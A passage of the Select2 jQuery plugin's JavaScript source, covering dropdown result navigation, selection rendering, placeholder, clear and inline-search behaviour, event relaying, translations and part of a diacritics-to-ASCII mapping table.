        self.$results.scrollTop(0);
      } else if (nextTop - currentOffset < 0) {
        self.$results.scrollTop(nextOffset);
      }
    });

    container.on('results:next', function () {
      var $highlighted = self.getHighlightedResults();

      var $options = self.$results.find('[aria-selected]');

      var currentIndex = $options.index($highlighted);

      var nextIndex = currentIndex + 1;

      // If we are at the last option, stay there
      if (nextIndex >= $options.length) {
        return;
      }

      var $next = $options.eq(nextIndex);

      $next.trigger('mouseenter');

      var currentOffset = self.$results.offset().top +
        self.$results.outerHeight(false);
      var nextBottom = $next.offset().top + $next.outerHeight(false);
      var nextOffset = self.$results.scrollTop() + nextBottom - currentOffset;

      if (nextIndex === 0) {
        self.$results.scrollTop(0);
      } else if (nextBottom > currentOffset) {
        self.$results.scrollTop(nextOffset);
      }
    });

    container.on('results:focus', function (params) {
      params.element.addClass('select2-results__option--highlighted');
    });

    container.on('results:message', function (params) {
      self.displayMessage(params);
    });

    if ($.fn.mousewheel) {
      this.$results.on('mousewheel', function (e) {
        var top = self.$results.scrollTop();

        var bottom = self.$results.get(0).scrollHeight - top + e.deltaY;

        var isAtTop = e.deltaY > 0 && top - e.deltaY <= 0;
        var isAtBottom = e.deltaY < 0 && bottom <= self.$results.height();

        if (isAtTop) {
          self.$results.scrollTop(0);

          e.preventDefault();
          e.stopPropagation();
        } else if (isAtBottom) {
          self.$results.scrollTop(
            self.$results.get(0).scrollHeight - self.$results.height()
          );

          e.preventDefault();
          e.stopPropagation();
        }
      });
    }

    this.$results.on('mouseup', '.select2-results__option[aria-selected]',
      function (evt) {
      var $this = $(this);

      var data = Utils.GetData(this, 'data');

      if ($this.attr('aria-selected') === 'true') {
        if (self.options.get('multiple')) {
          self.trigger('unselect', {
            originalEvent: evt,
            data: data
          });
        } else {
          self.trigger('close', {});
        }

        return;
      }

      self.trigger('select', {
        originalEvent: evt,
        data: data
      });
    });

    this.$results.on('mouseenter', '.select2-results__option[aria-selected]',
      function (evt) {
      var data = Utils.GetData(this, 'data');

      self.getHighlightedResults()
          .removeClass('select2-results__option--highlighted');

      self.trigger('results:focus', {
        data: data,
        element: $(this)
      });
    });
  };

  Results.prototype.getHighlightedResults = function () {
    var $highlighted = this.$results
    .find('.select2-results__option--highlighted');

    return $highlighted;
  };

  Results.prototype.destroy = function () {
    this.$results.remove();
  };

  Results.prototype.ensureHighlightVisible = function () {
    var $highlighted = this.getHighlightedResults();

    if ($highlighted.length === 0) {
      return;
    }

    var $options = this.$results.find('[aria-selected]');

    var currentIndex = $options.index($highlighted);

    var currentOffset = this.$results.offset().top;
    var nextTop = $highlighted.offset().top;
    var nextOffset = this.$results.scrollTop() + (nextTop - currentOffset);

    var offsetDelta = nextTop - currentOffset;
    nextOffset -= $highlighted.outerHeight(false) * 2;

    if (currentIndex <= 2) {
      this.$results.scrollTop(0);
    } else if (offsetDelta > this.$results.outerHeight() || offsetDelta < 0) {
      this.$results.scrollTop(nextOffset);
    }
  };

  Results.prototype.template = function (result, container) {
    var template = this.options.get('templateResult');
    var escapeMarkup = this.options.get('escapeMarkup');

    var content = template(result, container);

    if (content == null) {
      container.style.display = 'none';
    } else if (typeof content === 'string') {
      container.innerHTML = escapeMarkup(content);
    } else {
      $(container).append(content);
    }
  };

  return Results;
});

S2.define('select2/keys',[

], function () {
  var KEYS = {
    BACKSPACE: 8,
    TAB: 9,
    ENTER: 13,
    SHIFT: 16,
    CTRL: 17,
    ALT: 18,
    ESC: 27,
    SPACE: 32,
    PAGE_UP: 33,
    PAGE_DOWN: 34,
    END: 35,
    HOME: 36,
    LEFT: 37,
    UP: 38,
    RIGHT: 39,
    DOWN: 40,
    DELETE: 46
  };

  return KEYS;
});

S2.define('select2/selection/base',[
  'jquery',
  '../utils',
  '../keys'
], function ($, Utils, KEYS) {
  function BaseSelection ($element, options) {
    this.$element = $element;
    this.options = options;

    BaseSelection.__super__.constructor.call(this);
  }

  Utils.Extend(BaseSelection, Utils.Observable);

  BaseSelection.prototype.render = function () {
    var $selection = $(
      '<span class="select2-selection" role="combobox" ' +
      ' aria-haspopup="true" aria-expanded="false">' +
      '</span>'
    );

    this._tabindex = 0;

    if (Utils.GetData(this.$element[0], 'old-tabindex') != null) {
      this._tabindex = Utils.GetData(this.$element[0], 'old-tabindex');
    } else if (this.$element.attr('tabindex') != null) {
      this._tabindex = this.$element.attr('tabindex');
    }

    $selection.attr('title', this.$element.attr('title'));
    $selection.attr('tabindex', this._tabindex);

    this.$selection = $selection;

    return $selection;
  };

  BaseSelection.prototype.bind = function (container, $container) {
    var self = this;

    var id = container.id + '-container';
    var resultsId = container.id + '-results';

    this.container = container;

    this.$selection.on('focus', function (evt) {
      self.trigger('focus', evt);
    });

    this.$selection.on('blur', function (evt) {
      self._handleBlur(evt);
    });

    this.$selection.on('keydown', function (evt) {
      self.trigger('keypress', evt);

      if (evt.which === KEYS.SPACE) {
        evt.preventDefault();
      }
    });

    container.on('results:focus', function (params) {
      self.$selection.attr('aria-activedescendant', params.data._resultId);
    });

    container.on('selection:update', function (params) {
      self.update(params.data);
    });

    container.on('open', function () {
      // When the dropdown is open, aria-expanded="true"
      self.$selection.attr('aria-expanded', 'true');
      self.$selection.attr('aria-owns', resultsId);

      self._attachCloseHandler(container);
    });

    container.on('close', function () {
      // When the dropdown is closed, aria-expanded="false"
      self.$selection.attr('aria-expanded', 'false');
      self.$selection.removeAttr('aria-activedescendant');
      self.$selection.removeAttr('aria-owns');

      self.$selection.focus();
      window.setTimeout(function () {
        self.$selection.focus();
      }, 0);

      self._detachCloseHandler(container);
    });

    container.on('enable', function () {
      self.$selection.attr('tabindex', self._tabindex);
    });

    container.on('disable', function () {
      self.$selection.attr('tabindex', '-1');
    });
  };

  BaseSelection.prototype._handleBlur = function (evt) {
    var self = this;

    // This needs to be delayed as the active element is the body when the tab
    // key is pressed, possibly along with others.
    window.setTimeout(function () {
      // Don't trigger `blur` if the focus is still in the selection
      if (
        (document.activeElement == self.$selection[0]) ||
        ($.contains(self.$selection[0], document.activeElement))
      ) {
        return;
      }

      self.trigger('blur', evt);
    }, 1);
  };

  BaseSelection.prototype._attachCloseHandler = function (container) {
    var self = this;

    $(document.body).on('mousedown.select2.' + container.id, function (e) {
      var $target = $(e.target);

      var $select = $target.closest('.select2');

      var $all = $('.select2.select2-container--open');

      $all.each(function () {
        var $this = $(this);

        if (this == $select[0]) {
          return;
        }

        var $element = Utils.GetData(this, 'element');

        $element.select2('close');
      });
    });
  };

  BaseSelection.prototype._detachCloseHandler = function (container) {
    $(document.body).off('mousedown.select2.' + container.id);
  };

  BaseSelection.prototype.position = function ($selection, $container) {
    var $selectionContainer = $container.find('.selection');
    $selectionContainer.append($selection);
  };

  BaseSelection.prototype.destroy = function () {
    this._detachCloseHandler(this.container);
  };

  BaseSelection.prototype.update = function (data) {
    throw new Error('The `update` method must be defined in child classes.');
  };

  return BaseSelection;
});

S2.define('select2/selection/single',[
  'jquery',
  './base',
  '../utils',
  '../keys'
], function ($, BaseSelection, Utils, KEYS) {
  function SingleSelection () {
    SingleSelection.__super__.constructor.apply(this, arguments);
  }

  Utils.Extend(SingleSelection, BaseSelection);

  SingleSelection.prototype.render = function () {
    var $selection = SingleSelection.__super__.render.call(this);

    $selection.addClass('select2-selection--single');

    $selection.html(
      '<span class="select2-selection__rendered"></span>' +
      '<span class="select2-selection__arrow" role="presentation">' +
        '<b role="presentation"></b>' +
      '</span>'
    );

    return $selection;
  };

  SingleSelection.prototype.bind = function (container, $container) {
    var self = this;

    SingleSelection.__super__.bind.apply(this, arguments);

    var id = container.id + '-container';

    this.$selection.find('.select2-selection__rendered')
      .attr('id', id)
      .attr('role', 'textbox')
      .attr('aria-readonly', 'true');
    this.$selection.attr('aria-labelledby', id);

    this.$selection.on('mousedown', function (evt) {
      // Only respond to left clicks
      if (evt.which !== 1) {
        return;
      }

      self.trigger('toggle', {
        originalEvent: evt
      });
    });

    this.$selection.on('focus', function (evt) {
      // User focuses on the container
    });

    this.$selection.on('blur', function (evt) {
      // User exits the container
    });

    container.on('focus', function (evt) {
      if (!container.isOpen()) {
        self.$selection.focus();
      }
    });
  };

  SingleSelection.prototype.clear = function () {
    var $rendered = this.$selection.find('.select2-selection__rendered');
    $rendered.empty();
    $rendered.removeAttr('title'); // clear tooltip on empty
  };

  SingleSelection.prototype.display = function (data, container) {
    var template = this.options.get('templateSelection');
    var escapeMarkup = this.options.get('escapeMarkup');

    return escapeMarkup(template(data, container));
  };

  SingleSelection.prototype.selectionContainer = function () {
    return $('<span></span>');
  };

  SingleSelection.prototype.update = function (data) {
    if (data.length === 0) {
      this.clear();
      return;
    }

    var selection = data[0];

    var $rendered = this.$selection.find('.select2-selection__rendered');
    var formatted = this.display(selection, $rendered);

    $rendered.empty().append(formatted);
    $rendered.attr('title', selection.title || selection.text);
  };

  return SingleSelection;
});

S2.define('select2/selection/multiple',[
  'jquery',
  './base',
  '../utils'
], function ($, BaseSelection, Utils) {
  function MultipleSelection ($element, options) {
    MultipleSelection.__super__.constructor.apply(this, arguments);
  }

  Utils.Extend(MultipleSelection, BaseSelection);

  MultipleSelection.prototype.render = function () {
    var $selection = MultipleSelection.__super__.render.call(this);

    $selection.addClass('select2-selection--multiple');

    $selection.html(
      '<ul class="select2-selection__rendered"></ul>'
    );

    return $selection;
  };

  MultipleSelection.prototype.bind = function (container, $container) {
    var self = this;

    MultipleSelection.__super__.bind.apply(this, arguments);

    this.$selection.on('click', function (evt) {
      self.trigger('toggle', {
        originalEvent: evt
      });
    });

    this.$selection.on(
      'click',
      '.select2-selection__choice__remove',
      function (evt) {
        // Ignore the event if it is disabled
        if (self.options.get('disabled')) {
          return;
        }

        var $remove = $(this);
        var $selection = $remove.parent();

        var data = Utils.GetData($selection[0], 'data');

        self.trigger('unselect', {
          originalEvent: evt,
          data: data
        });
      }
    );
  };

  MultipleSelection.prototype.clear = function () {
    var $rendered = this.$selection.find('.select2-selection__rendered');
    $rendered.empty();
    $rendered.removeAttr('title');
  };

  MultipleSelection.prototype.display = function (data, container) {
    var template = this.options.get('templateSelection');
    var escapeMarkup = this.options.get('escapeMarkup');

    return escapeMarkup(template(data, container));
  };

  MultipleSelection.prototype.selectionContainer = function () {
    var $container = $(
      '<li class="select2-selection__choice">' +
        '<span class="select2-selection__choice__remove" role="presentation">' +
          '&times;' +
        '</span>' +
      '</li>'
    );

    return $container;
  };

  MultipleSelection.prototype.update = function (data) {
    this.clear();

    if (data.length === 0) {
      return;
    }

    var $selections = [];

    for (var d = 0; d < data.length; d++) {
      var selection = data[d];

      var $selection = this.selectionContainer();
      var formatted = this.display(selection, $selection);

      $selection.append(formatted);
      $selection.attr('title', selection.title || selection.text);

      Utils.StoreData($selection[0], 'data', selection);

      $selections.push($selection);
    }

    var $rendered = this.$selection.find('.select2-selection__rendered');

    Utils.appendMany($rendered, $selections);
  };

  return MultipleSelection;
});

S2.define('select2/selection/placeholder',[
  '../utils'
], function (Utils) {
  function Placeholder (decorated, $element, options) {
    this.placeholder = this.normalizePlaceholder(options.get('placeholder'));

    decorated.call(this, $element, options);
  }

  Placeholder.prototype.normalizePlaceholder = function (_, placeholder) {
    if (typeof placeholder === 'string') {
      placeholder = {
        id: '',
        text: placeholder
      };
    }

    return placeholder;
  };

  Placeholder.prototype.createPlaceholder = function (decorated, placeholder) {
    var $placeholder = this.selectionContainer();

    $placeholder.html(this.display(placeholder));
    $placeholder.addClass('select2-selection__placeholder')
                .removeClass('select2-selection__choice');

    return $placeholder;
  };

  Placeholder.prototype.update = function (decorated, data) {
    var singlePlaceholder = (
      data.length == 1 && data[0].id != this.placeholder.id
    );
    var multipleSelections = data.length > 1;

    if (multipleSelections || singlePlaceholder) {
      return decorated.call(this, data);
    }

    this.clear();

    var $placeholder = this.createPlaceholder(this.placeholder);

    this.$selection.find('.select2-selection__rendered').append($placeholder);
  };

  return Placeholder;
});

S2.define('select2/selection/allowClear',[
  'jquery',
  '../keys',
  '../utils'
], function ($, KEYS, Utils) {
  function AllowClear () { }

  AllowClear.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    if (this.placeholder == null) {
      if (this.options.get('debug') && window.console && console.error) {
        console.error(
          'Select2: The `allowClear` option should be used in combination ' +
          'with the `placeholder` option.'
        );
      }
    }

    this.$selection.on('mousedown', '.select2-selection__clear',
      function (evt) {
        self._handleClear(evt);
    });

    container.on('keypress', function (evt) {
      self._handleKeyboardClear(evt, container);
    });
  };

  AllowClear.prototype._handleClear = function (_, evt) {
    // Ignore the event if it is disabled
    if (this.options.get('disabled')) {
      return;
    }

    var $clear = this.$selection.find('.select2-selection__clear');

    // Ignore the event if nothing has been selected
    if ($clear.length === 0) {
      return;
    }

    evt.stopPropagation();

    var data = Utils.GetData($clear[0], 'data');

    var previousVal = this.$element.val();
    this.$element.val(this.placeholder.id);

    var unselectData = {
      data: data
    };
    this.trigger('clear', unselectData);
    if (unselectData.prevented) {
      this.$element.val(previousVal);
      return;
    }

    for (var d = 0; d < data.length; d++) {
      unselectData = {
        data: data[d]
      };

      // Trigger the `unselect` event, so people can prevent it from being
      // cleared.
      this.trigger('unselect', unselectData);

      // If the event was prevented, don't clear it out.
      if (unselectData.prevented) {
        this.$element.val(previousVal);
        return;
      }
    }

    this.$element.trigger('change');

    this.trigger('toggle', {});
  };

  AllowClear.prototype._handleKeyboardClear = function (_, evt, container) {
    if (container.isOpen()) {
      return;
    }

    if (evt.which == KEYS.DELETE || evt.which == KEYS.BACKSPACE) {
      this._handleClear(evt);
    }
  };

  AllowClear.prototype.update = function (decorated, data) {
    decorated.call(this, data);

    if (this.$selection.find('.select2-selection__placeholder').length > 0 ||
        data.length === 0) {
      return;
    }

    var $remove = $(
      '<span class="select2-selection__clear">' +
        '&times;' +
      '</span>'
    );
    Utils.StoreData($remove[0], 'data', data);

    this.$selection.find('.select2-selection__rendered').prepend($remove);
  };

  return AllowClear;
});

S2.define('select2/selection/search',[
  'jquery',
  '../utils',
  '../keys'
], function ($, Utils, KEYS) {
  function Search (decorated, $element, options) {
    decorated.call(this, $element, options);
  }

  Search.prototype.render = function (decorated) {
    var $search = $(
      '<li class="select2-search select2-search--inline">' +
        '<input class="select2-search__field" type="search" tabindex="-1"' +
        ' autocomplete="off" autocorrect="off" autocapitalize="none"' +
        ' spellcheck="false" role="textbox" aria-autocomplete="list" />' +
      '</li>'
    );

    this.$searchContainer = $search;
    this.$search = $search.find('input');

    var $rendered = decorated.call(this);

    this._transferTabIndex();

    return $rendered;
  };

  Search.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    container.on('open', function () {
      self.$search.trigger('focus');
    });

    container.on('close', function () {
      self.$search.val('');
      self.$search.removeAttr('aria-activedescendant');
      self.$search.trigger('focus');
    });

    container.on('enable', function () {
      self.$search.prop('disabled', false);

      self._transferTabIndex();
    });

    container.on('disable', function () {
      self.$search.prop('disabled', true);
    });

    container.on('focus', function (evt) {
      self.$search.trigger('focus');
    });

    container.on('results:focus', function (params) {
      self.$search.attr('aria-activedescendant', params.id);
    });

    this.$selection.on('focusin', '.select2-search--inline', function (evt) {
      self.trigger('focus', evt);
    });

    this.$selection.on('focusout', '.select2-search--inline', function (evt) {
      self._handleBlur(evt);
    });

    this.$selection.on('keydown', '.select2-search--inline', function (evt) {
      evt.stopPropagation();

      self.trigger('keypress', evt);

      self._keyUpPrevented = evt.isDefaultPrevented();

      var key = evt.which;

      if (key === KEYS.BACKSPACE && self.$search.val() === '') {
        var $previousChoice = self.$searchContainer
          .prev('.select2-selection__choice');

        if ($previousChoice.length > 0) {
          var item = Utils.GetData($previousChoice[0], 'data');

          self.searchRemoveChoice(item);

          evt.preventDefault();
        }
      }
    });

    // Try to detect the IE version should the `documentMode` property that
    // is stored on the document. This is only implemented in IE and is
    // slightly cleaner than doing a user agent check.
    // This property is not available in Edge, but Edge also doesn't have
    // this bug.
    var msie = document.documentMode;
    var disableInputEvents = msie && msie <= 11;

    // Workaround for browsers which do not support the `input` event
    // This will prevent double-triggering of events for browsers which support
    // both the `keyup` and `input` events.
    this.$selection.on(
      'input.searchcheck',
      '.select2-search--inline',
      function (evt) {
        // IE will trigger the `input` event when a placeholder is used on a
        // search box. To get around this issue, we are forced to ignore all
        // `input` events in IE and keep using `keyup`.
        if (disableInputEvents) {
          self.$selection.off('input.search input.searchcheck');
          return;
        }

        // Unbind the duplicated `keyup` event
        self.$selection.off('keyup.search');
      }
    );

    this.$selection.on(
      'keyup.search input.search',
      '.select2-search--inline',
      function (evt) {
        // IE will trigger the `input` event when a placeholder is used on a
        // search box. To get around this issue, we are forced to ignore all
        // `input` events in IE and keep using `keyup`.
        if (disableInputEvents && evt.type === 'input') {
          self.$selection.off('input.search input.searchcheck');
          return;
        }

        var key = evt.which;

        // We can freely ignore events from modifier keys
        if (key == KEYS.SHIFT || key == KEYS.CTRL || key == KEYS.ALT) {
          return;
        }

        // Tabbing will be handled during the `keydown` phase
        if (key == KEYS.TAB) {
          return;
        }

        self.handleSearch(evt);
      }
    );
  };

  /**
   * This method will transfer the tabindex attribute from the rendered
   * selection to the search box. This allows for the search box to be used as
   * the primary focus instead of the selection container.
   *
   * @private
   */
  Search.prototype._transferTabIndex = function (decorated) {
    this.$search.attr('tabindex', this.$selection.attr('tabindex'));
    this.$selection.attr('tabindex', '-1');
  };

  Search.prototype.createPlaceholder = function (decorated, placeholder) {
    this.$search.attr('placeholder', placeholder.text);
  };

  Search.prototype.update = function (decorated, data) {
    var searchHadFocus = this.$search[0] == document.activeElement;

    this.$search.attr('placeholder', '');

    decorated.call(this, data);

    this.$selection.find('.select2-selection__rendered')
                   .append(this.$searchContainer);

    this.resizeSearch();
    if (searchHadFocus) {
      var isTagInput = this.$element.find('[data-select2-tag]').length;
      if (isTagInput) {
        // fix IE11 bug where tag input lost focus
        this.$element.focus();
      } else {
        this.$search.focus();
      }
    }
  };

  Search.prototype.handleSearch = function () {
    this.resizeSearch();

    if (!this._keyUpPrevented) {
      var input = this.$search.val();

      this.trigger('query', {
        term: input
      });
    }

    this._keyUpPrevented = false;
  };

  Search.prototype.searchRemoveChoice = function (decorated, item) {
    this.trigger('unselect', {
      data: item
    });

    this.$search.val(item.text);
    this.handleSearch();
  };

  Search.prototype.resizeSearch = function () {
    this.$search.css('width', '25px');

    var width = '';

    if (this.$search.attr('placeholder') !== '') {
      width = this.$selection.find('.select2-selection__rendered').innerWidth();
    } else {
      var minimumWidth = this.$search.val().length + 1;

      width = (minimumWidth * 0.75) + 'em';
    }

    this.$search.css('width', width);
  };

  return Search;
});

S2.define('select2/selection/eventRelay',[
  'jquery'
], function ($) {
  function EventRelay () { }

  EventRelay.prototype.bind = function (decorated, container, $container) {
    var self = this;
    var relayEvents = [
      'open', 'opening',
      'close', 'closing',
      'select', 'selecting',
      'unselect', 'unselecting',
      'clear', 'clearing'
    ];

    var preventableEvents = [
      'opening', 'closing', 'selecting', 'unselecting', 'clearing'
    ];

    decorated.call(this, container, $container);

    container.on('*', function (name, params) {
      // Ignore events that should not be relayed
      if ($.inArray(name, relayEvents) === -1) {
        return;
      }

      // The parameters should always be an object
      params = params || {};

      // Generate the jQuery event for the Select2 event
      var evt = $.Event('select2:' + name, {
        params: params
      });

      self.$element.trigger(evt);

      // Only handle preventable events if it was one
      if ($.inArray(name, preventableEvents) === -1) {
        return;
      }

      params.prevented = evt.isDefaultPrevented();
    });
  };

  return EventRelay;
});

S2.define('select2/translation',[
  'jquery',
  'require'
], function ($, require) {
  function Translation (dict) {
    this.dict = dict || {};
  }

  Translation.prototype.all = function () {
    return this.dict;
  };

  Translation.prototype.get = function (key) {
    return this.dict[key];
  };

  Translation.prototype.extend = function (translation) {
    this.dict = $.extend({}, translation.all(), this.dict);
  };

  // Static functions

  Translation._cache = {};

  Translation.loadPath = function (path) {
    if (!(path in Translation._cache)) {
      var translations = require(path);

      Translation._cache[path] = translations;
    }

    return new Translation(Translation._cache[path]);
  };

  return Translation;
});

S2.define('select2/diacritics',[

], function () {
  var diacritics = {
    '\u24B6': 'A',
    '\uFF21': 'A',
    '\u00C0': 'A',
    '\u00C1': 'A',
    '\u00C2': 'A',
    '\u1EA6': 'A',
    '\u1EA4': 'A',
    '\u1EAA': 'A',
    '\u1EA8': 'A',
    '\u00C3': 'A',
    '\u0100': 'A',
    '\u0102': 'A',
    '\u1EB0': 'A',
    '\u1EAE': 'A',
    '\u1EB4': 'A',
    '\u1EB2': 'A',
    '\u0226': 'A',
    '\u01E0': 'A',
    '\u00C4': 'A',
    '\u01DE': 'A',
    '\u1EA2': 'A',
    '\u00C5': 'A',
    '\u01FA': 'A',
    '\u01CD': 'A',
    '\u0200': 'A',
    '\u0202': 'A',
    '\u1EA0': 'A',
    '\u1EAC': 'A',
    '\u1EB6': 'A',
    '\u1E00': 'A',
    '\u0104': 'A',
    '\u023A': 'A',
    '\u2C6F': 'A',
    '\uA732': 'AA',
    '\u00C6': 'AE',
    '\u01FC': 'AE',
    '\u01E2': 'AE',
    '\uA734': 'AO',
    '\uA736': 'AU',
    '\uA738': 'AV',
    '\uA73A': 'AV',
    '\uA73C': 'AY',
    '\u24B7': 'B',
    '\uFF22': 'B',
    '\u1E02': 'B',
    '\u1E04': 'B',
    '\u1E06': 'B',
    '\u0243': 'B',
    '\u0182': 'B',
    '\u0181': 'B',
    '\u24B8': 'C',
    '\uFF23': 'C',
    '\u0106': 'C',
    '\u0108': 'C',
    '\u010A': 'C',
    '\u010C': 'C',
    '\u00C7': 'C',
    '\u1E08': 'C',
    '\u0187': 'C',
    '\u023B': 'C',
    '\uA73E': 'C',
    '\u24B9': 'D',
    '\uFF24': 'D',
    '\u1E0A': 'D',
    '\u010E': 'D',
    '\u1E0C': 'D',
    '\u1E10': 'D',
    '\u1E12': 'D',
    '\u1E0E': 'D',
    '\u0110': 'D',
    '\u018B': 'D',
    '\u018A': 'D',
    '\u0189': 'D',
    '\uA779': 'D',
    '\u01F1': 'DZ',
    '\u01C4': 'DZ',
    '\u01F2': 'Dz',
    '\u01C5': 'Dz',
    '\u24BA': 'E',
    '\uFF25': 'E',
    '\u00C8': 'E',
    '\u00C9': 'E',
    '\u00CA': 'E',
    '\u1EC0': 'E',
    '\u1EBE': 'E',
    '\u1EC4': 'E',
    '\u1EC2': 'E',
    '\u1EBC': 'E',
    '\u0112': 'E',
    '\u1E14': 'E',
    '\u1E16': 'E',
    '\u0114': 'E',
    '\u0116': 'E',
    '\u00CB': 'E',
    '\u1EBA': 'E',
    '\u011A': 'E',
    '\u0204': 'E',
    '\u0206': 'E',
    '\u1EB8': 'E',
    '\u1EC6': 'E',
    '\u0228': 'E',
    '\u1E1C': 'E',
    '\u0118': 'E',
    '\u1E18': 'E',
    '\u1E1A': 'E',
    '\u0190': 'E',
    '\u018E': 'E',
    '\u24BB': 'F',
    '\uFF26': 'F',
    '\u1E1E': 'F',
    '\u0191': 'F',
    '\uA77B': 'F',
    '\u24BC': 'G',
    '\uFF27': 'G',
    '\u01F4': 'G',
    '\u011C': 'G',
    '\u1E20': 'G',
    '\u011E': 'G',
    '\u0120': 'G',
    '\u01E6': 'G',
    '\u0122': 'G',
    '\u01E4': 'G',
    '\u0193': 'G',
    '\uA7A0': 'G',
    '\uA77D': 'G',
    '\uA77E': 'G',
    '\u24BD': 'H',
    '\uFF28': 'H',
    '\u0124': 'H',
    '\u1E22': 'H',
    '\u1E26': 'H',
    '\u021E': 'H',
    '\u1E24': 'H',
    '\u1E28': 'H',
    '\u1E2A': 'H',
    '\u0126': 'H',
    '\u2C67': 'H',
    '\u2C75': 'H',
    '\uA78D': 'H',
    '\u24BE': 'I',
    '\uFF29': 'I',
    '\u00CC': 'I',
    '\u00CD': 'I',
    '\u00CE': 'I',
    '\u0128': 'I',
    '\u012A': 'I',
    '\u012C': 'I',
    '\u0130': 'I',
    '\u00CF': 'I',
    '\u1E2E': 'I',
    '\u1EC8': 'I',
    '\u01CF': 'I',
    '\u0208': 'I',
    '\u020A': 'I',
    '\u1ECA': 'I',
    '\u012E': 'I',
    '\u1E2C': 'I',
    '\u0197': 'I',
    '\u24BF': 'J',
    '\uFF2A': 'J',
    '\u0134': 'J',
    '\u0248': 'J',
    '\u24C0': 'K',
    '\uFF2B': 'K',
    '\u1E30': 'K',
    '\u01E8': 'K',
    '\u1E32': 'K',
    '\u0136': 'K',
    '\u1E34': 'K',
    '\u0198': 'K',
    '\u2C69': 'K',
    '\uA740': 'K',
    '\uA742': 'K',
    '\uA744': 'K',
    '\uA7A2': 'K',
    '\u24C1': 'L',
    '\uFF2C': 'L',
    '\u013F': 'L',
    '\u0139': 'L',
    '\u013D': 'L',
    '\u1E36': 'L',
    '\u1E38': 'L',
    '\u013B': 'L',
    '\u1E3C': 'L',
    '\u1E3A': 'L',
    '\u0141': 'L',
    '\u023D': 'L',
    '\u2C62': 'L',
    '\u2C60': 'L',
    '\uA748': 'L',
    '\uA746': 'L',
    '\uA780': 'L',
    '\u01C7': 'LJ',
    '\u01C8': 'Lj',
    '\u24C2': 'M',
    '\uFF2D': 'M',
    '\u1E3E': 'M',
    '\u1E40': 'M',
    '\u1E42': 'M',
    '\u2C6E': 'M',
    '\u019C': 'M',
    '\u24C3': 'N',
    '\uFF2E': 'N',
    '\u01F8': 'N',
    '\u0143': 'N',
    '\u00D1': 'N',
    '\u1E44': 'N',
    '\u0147': 'N',
    '\u1E46': 'N',
    '\u0145': 'N',
    '\u1E4A': 'N',
    '\u1E48': 'N',
    '\u0220': 'N',
    '\u019D': 'N',
    '\uA790': 'N',
    '\uA7A4': 'N',
    '\u01CA': 'NJ',
    '\u01CB': 'Nj',
    '\u24C4': 'O',
    '\uFF2F': 'O',
    '\u00D2': 'O',
    '\u00D3': 'O',
    '\u00D4': 'O',
    '\u1ED2': 'O',
    '\u1ED0': 'O',
    '\u1ED6': 'O',
    '\u1ED4': 'O',
    '\u00D5': 'O',
    '\u1E4C': 'O',
    '\u022C': 'O',
    '\u1E4E': 'O',
    '\u014C': 'O',
    '\u1E50': 'O',
    '\u1E52': 'O',
    '\u014E': 'O',
    '\u022E': 'O',
    '\u0230': 'O',
    '\u00D6': 'O',
    '\u022A': 'O',
    '\u1ECE': 'O',
    '\u0150': 'O',
    '\u01D1': 'O',
    '\u020C': 'O',
    '\u020E': 'O',
    '\u01A0': 'O',
    '\u1EDC': 'O',
    '\u1EDA': 'O',
    '\u1EE0': 'O',
    '\u1EDE': 'O',
    '\u1EE2': 'O',
    '\u1ECC': 'O',
    '\u1ED8': 'O',
    '\u01EA': 'O',
    '\u01EC': 'O',
    '\u00D8': 'O',
    '\u01FE': 'O',
    '\u0186': 'O',
    '\u019F': 'O',
    '\uA74A': 'O',
    '\uA74C': 'O',
    '\u01A2': 'OI',
    '\uA74E': 'OO',
    '\u0222': 'OU',
    '\u24C5': 'P',
    '\uFF30': 'P',
    '\u1E54': 'P',
    '\u1E56': 'P',
    '\u01A4': 'P',
    '\u2C63': 'P',
    '\uA750': 'P',
    '\uA752': 'P',
    '\uA754': 'P',
    '\u24C6': 'Q',
    '\uFF31': 'Q',
    '\uA756': 'Q',
    '\uA758': 'Q',
    '\u024A': 'Q',
    '\u24C7': 'R',
    '\uFF32': 'R',
    '\u0154': 'R',
    '\u1E58': 'R',
    '\u0158': 'R',
    '\u0210': 'R',
    '\u0212': 'R',
    '\u1E5A': 'R',
    '\u1E5C': 'R',
    '\u0156': 'R',
    '\u1E5E': 'R',
    '\u024C': 'R',
    '\u2C64': 'R',
    '\uA75A': 'R',
    '\uA7A6': 'R',
    '\uA782': 'R',
    '\u24C8': 'S',
    '\uFF33': 'S',
    '\u1E9E': 'S',
    '\u015A': 'S',
    '\u1E64': 'S',
    '\u015C': 'S',
    '\u1E60': 'S',
    '\u0160': 'S',
    '\u1E66': 'S',
    '\u1E62': 'S',
    '\u1E68': 'S',
    '\u0218': 'S',
    '\u015E': 'S',
    '\u2C7E': 'S',
    '\uA7A8': 'S',
    '\uA784': 'S',
    '\u24C9': 'T',
    '\uFF34': 'T',
    '\u1E6A': 'T',
    '\u0164': 'T',
    '\u1E6C': 'T',
    '\u021A': 'T',
    '\u0162': 'T',
    '\u1E70': 'T',
    '\u1E6E': 'T',
    '\u0166': 'T',
    '\u01AC': 'T',
    '\u01AE': 'T',
    '\u023E': 'T',
    '\uA786': 'T',
    '\uA728': 'TZ',
    '\u24CA': 'U',
    '\uFF35': 'U',
    '\u00D9': 'U',
    '\u00DA': 'U',
    '\u00DB': 'U',
    '\u0168': 'U',
    '\u1E78': 'U',
    '\u016A': 'U',
    '\u1E7A': 'U',
    '\u016C': 'U',
    '\u00DC': 'U',
    '\u01DB': 'U',
    '\u01D7': 'U',
    '\u01D5': 'U',
    '\u01D9': 'U',
    '\u1EE6': 'U',
    '\u016E': 'U',
    '\u0170': 'U',
    '\u01D3': 'U',
    '\u0214': 'U',
    '\u0216': 'U',
    '\u01AF': 'U',
    '\u1EEA': 'U',
    '\u1EE8': 'U',
    '\u1EEE': 'U',
    '\u1EEC': 'U',
    '\u1EF0': 'U',
    '\u1EE4': 'U',
    '\u1E72': 'U',
    '\u0172': 'U',
    '\u1E76': 'U',
    '\u1E74': 'U',
    '\u0244': 'U',
    '\u24CB': 'V',
    '\uFF36': 'V',
    '\u1E7C': 'V',
    '\u1E7E': 'V',
    '\u01B2': 'V',
    '\uA75E': 'V',
    '\u0245': 'V',
    '\uA760': 'VY',
    '\u24CC': 'W',
    '\uFF37': 'W',
    '\u1E80': 'W',
    '\u1E82': 'W',
    '\u0174': 'W',
    '\u1E86': 'W',
    '\u1E84': 'W',
    '\u1E88': 'W',
    '\u2C72': 'W',
    '\u24CD': 'X',
    '\uFF38': 'X',
    '\u1E8A': 'X',
